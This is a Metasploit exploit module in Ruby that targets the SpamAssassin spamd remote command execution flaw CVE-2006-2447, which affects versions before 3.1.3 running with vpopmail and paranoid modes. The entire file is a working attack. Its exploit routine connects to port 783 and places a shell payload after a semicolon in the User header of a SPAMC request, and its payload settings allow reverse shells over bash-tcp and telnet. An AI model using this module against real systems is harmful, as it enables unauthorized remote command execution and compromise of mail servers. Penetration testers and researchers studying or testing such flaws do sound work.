##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SpamAssassin spamd Remote Command Execution',
        'Description' => %q{
          This module exploits a flaw in the SpamAssassin spamd service by specifying
          a malicious vpopmail User header, when running with vpopmail and paranoid
          modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
        },
        'Author' => [ 'aushack' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-2447' ],
          [ 'OSVDB', '26177' ],
          [ 'BID', '18290' ],
          [ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 1024,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd cmd_bash',
                          'RequiredCmd' => 'generic perl ruby bash-tcp telnet',
                        }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic', {}],
        ],
        'DisclosureDate' => '2006-06-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(783)
      ]
    )
  end

  def exploit
    connect

    content = Rex::Text.rand_text_alpha(20)

    sploit = "PROCESS SPAMC/1.2\r\n"
    sploit << "Content-length: #{(content.length + 2)}\r\n"
    sploit << "User: ;#{payload.encoded}\r\n\r\n"
    sploit << content + "\r\n\r\n"

    sock.put(sploit)

    handler
    disconnect
  end
end
